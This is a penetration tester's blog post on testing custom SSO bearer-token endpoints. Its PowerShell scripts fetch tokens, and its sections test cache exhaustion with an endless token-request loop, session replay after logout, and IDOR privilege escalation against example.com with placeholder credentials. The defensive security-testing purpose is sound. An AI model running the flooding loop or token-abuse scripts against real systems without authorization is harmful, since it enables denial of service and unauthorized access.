Basic Exploitation of SSO Access Tokens
Musings on basic access token exploitation & security checks on incorrectly/custom implemented SSO

Access & Bearer Tokens

Bearer tokens and OAuth were originally invented to provide a framework and context for cross-site site authorization. This offered a granular programming interface for access control of resources across trust relationships on the web. Grant types were implemented as different paradigms for authorization scenarios arose across different use cases & devices. Subsets of OAuth functionality were siphoned off and are, likely at the damnation of the RFC, implemented in sub-capacities of OAuth's functional purpose. Thus the password grant type was born. I often find custom SSO implementations that implement the bearer Token Endpoint using the password grant type via a simple HTTP POST with the username and password in the body as an authentication method. In the eyes of the developer, they gain the benefits, e.g. token & session management functionality, for free without the need to implement a more complex grant type model. This also makes security testing easier, and this post deals with some simple exploits & lapses in defense to check for on a pentest or security audit.

Testing Security Functionality

When I find a convenient token authorization endpoint in my HTTP traffic logs on a pentest, I often focus on session management and make presumptions as to what a custom implementation might be doing under the hood from a data structure perspective. I built the following Powershell template for testing bearer token endpoints, which will be described in the sections following:
1
function Get-Bearer
2
{
3
4
5
Param
6
(
7
[Parameter(Position = 0,
8
Mandatory=$true)]
9
[ValidateNotNullOrEmpty()]
10
[String]
11
$TokenUri,
12
[Parameter(Position = 1)]
13
[String]
14
$Body = "",
15
[Parameter(Position = 2)]
16
[ValidateNotNullOrEmpty()]
17
[String]
18
$ContentType = "application/x-www-form-urlencoded"
19
20
)
21
try
22
{
23
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
24
$method = [Microsoft.PowerShell.Commands.WebRequestMethod]::"POST"
25
$URI = [System.Uri]::new($TokenUri)
26
$hostName = ($URI.Host) -replace '^www\.'
27
$maximumRedirection = [System.Int32] 0
28
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
29
$headers.Add("Host", $hostName)
30
$headers.Add("Accept", "application/json")
31
$Body += "
32
33
"
34
$response = (Invoke-WebRequest -Method $method -Uri $URI -MaximumRedirection $maximumRedirection -Headers $headers -ContentType $contentType -Body $Body)
35
}
36
37
catch [System.SystemException]
38
{
39
Write-Error $_ -ErrorAction Stop
40
}
41
42
$bearerToken = ($response.Content | ConvertFrom-Json).access_token
43
return $bearerToken
44
}
45
46
function Get-AuthenticatedResource
47
{
48
49
50
Param
51
(
52
[Parameter(Position = 0,
53
Mandatory=$true)]
54
[ValidateNotNullOrEmpty()]
55
[String]
56
$TargetUri,
57
58
[Parameter(Position = 1,
59
Mandatory=$true)]
60
[ValidateNotNullOrEmpty()]
61
[String]
62
$Token,
63
64
[Parameter(Position = 3)]
65
[ValidateNotNullOrEmpty()]
66
[String]
67
$ContentType = "application/x-www-form-urlencoded"
68
)
69
70
try
71
{
72
73
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
74
$method = [Microsoft.PowerShell.Commands.WebRequestMethod]::"GET"
75
$URI = [System.Uri]::new($TargetUri)
76
$maximumRedirection = [System.Int32] 1
77
$hostName = ($URI.Host) -replace '^www\.'
78
$headers = [System.Collections.Generic.Dictionary[string,string]]::new()
79
$headers.Add("Host", $hostName)
80
$headers.Add("Authorization", "Bearer " + $Token)
81
82
$response = (Invoke-WebRequest -Method $method -Uri $URI -MaximumRedirection $maximumRedirection -Headers $headers -ContentType $ContentType)
83
}
84
85
catch [System.SystemException]
86
{
87
Write-Error $_ -ErrorAction Stop
88
}
89
return $response
90
}
Copied!

Cache Overflows

This is by far one of the easiest flaws to find in custom SSO business logic. Fundamentally, developers tend to make assumptions about sessions such as:
  • Total users they presume will be using a given application at any given time
  • Users are facilitating normal session flow volumes
Thinking back to the early 2000's, SYN floods were used to DoS routers & network appliances which, simply put, was caused by a failure to evict outstanding TCP SYN negotiations and manage memory properly for the caches which track TCP state.
Session management can exhibit similar shortcomings. For example, caches that are constructed in memory with a simple data structure rather than scale-aware memory managed structures could potentially allow for an attacker to tie up a worker thread on a server, or amplify a DoS/DDoS attack if the server utilizes session layer thread-pooling without proper load balancing in the infrastructure.
One solution I have seen commonly adopted is to utilize a distributed performance cache such as ehcache, which uses a FIFO to evict entries, within its configuration parameters.
While the cache overflow may not always exhibit a DoS condition, continually requesting tokens is a great way to see if their is any rate-limiting in place, both on the application code and encapsulating infrastructure. Furthermore, the cache deadlock condition could be used as a temporary persistence mechanism if target sessions were not subject to a timeout or eviction. Those sessions could be leveraged in further client-side attacks such as Session Fixation.

Exploitation

Using the template above, add the following Powershell invocation, after tuning the body request to suit your target:
1
DO{
2
3
Start-Job -ScriptBlock{
4
Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
5
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
6
-Body "client_id=example-client&[email protected]&password=Password123!&grant_type=password&scope=openid"
7
$bearerToken
8
}
9
10
}
11
While (1)
Copied!
Implementing this in a multi-threaded context would provide a nice improvement in the future

Session Replay

Session replay is a simple test to ensure that the OAuth/OIDC logout endpoint is implemented correctly, and doesn't allow for an expired token to be used again. This is an important defense-in-depth measure as it ensures that tokens, should they be cached, cannot be compromised in any number of ways including (but not limited to):
  • Physical Access
  • Browser Exploits
  • Trojans

Exploitation

This can be performed with the following Powershell invocation (again requiring your own tuning), which gets a token, makes an authenticated request for privileged resources, hits the expiration endpoint, and then again attempts to make the same authenticated request:
1
Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
2
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
3
-Body "client_id=example-client&[email protected]&password=Password123!&grant_type=password&scope=openid"
4
#$bearerToken
5
6
Write-Host "Making Request.." -ForegroundColor red -BackgroundColor blue
7
$response = Get-AuthenticatedResource -TargetUri "https://example.com/userprofiles/?first=0&max=11"`
8
-Token $bearerToken
9
#$response | Select-Object -ExpandProperty RawContent
10
$response.StatusCode
11
12
13
Write-Host "Initiating Token Expiration.." -ForegroundColor red -BackgroundColor blue
14
$response = Get-AuthenticatedResource -TargetUri "https://example.com/protocol/openid-connect/logout?redirect_uri=https%3A%2F%2Fexample.com%2F%23%2Fusers"`
15
-Token $bearerToken
16
#$response | Select-Object -ExpandProperty RawContent
17
$response.StatusCode
18
19
Write-Host "Making Request with Expired Bearer Token.." -ForegroundColor red -BackgroundColor blue
20
$response = Get-AuthenticatedResource -TargetUri "https://example.com/userprofiles/?first=0&max=11"`
21
-Token $bearerToken
22
#$response.StatusCode
23
$response | Select-Object -ExpandProperty RawContent
Copied!

IDOR

Another easy win is to test for IDOR, in which a user is able to escalate his or her privileges by simply requesting a high-privilege resource with a low-privilege token context.

Exploitation

1
Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
2
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
3
-Body "client_id=example-client&[email protected]&password=Password123!&grant_type=password&scope=openid"
4
#$bearerToken
5
6
Write-Host "Making High Privilege Request.." -ForegroundColor red -BackgroundColor blue
7
$response = Get-AuthenticatedResource -TargetUri "https://example.com/authenticatedResource"`
8
-Token $bearerToken
9
#$response | Select-Object -ExpandProperty RawContent
10
$response.StatusCode
Copied!

Conclusions & Defense

It is never a good idea to roll your own SSO, but if the enterprise at large demands it be sure that proper protective measures are taken to ensure proper application-level access management, data structure implementations, and session management configurations. Perform periodic & comprehensive reviews of all source code, and most importantly instrument a DevSecOps pipeline to continuously ensure security practices as part of the development process. Be sure that the code is compliant with industry standards such as RFC 6750, and the OIDC specifications if relevant to the organization. If available, replace legacy SSO implementations with pre-built, industry approved libraries for your specific stack.

References

OAuth Grant Types
OAuth 2.0 Bearer Token Usage
RFC 6750 - The OAuth 2.0 Authorization Framework: Bearer Token Usage
What is the OAuth 2.0 Password Grant Type?
Okta Developer
Ehcache
Last modified 1yr ago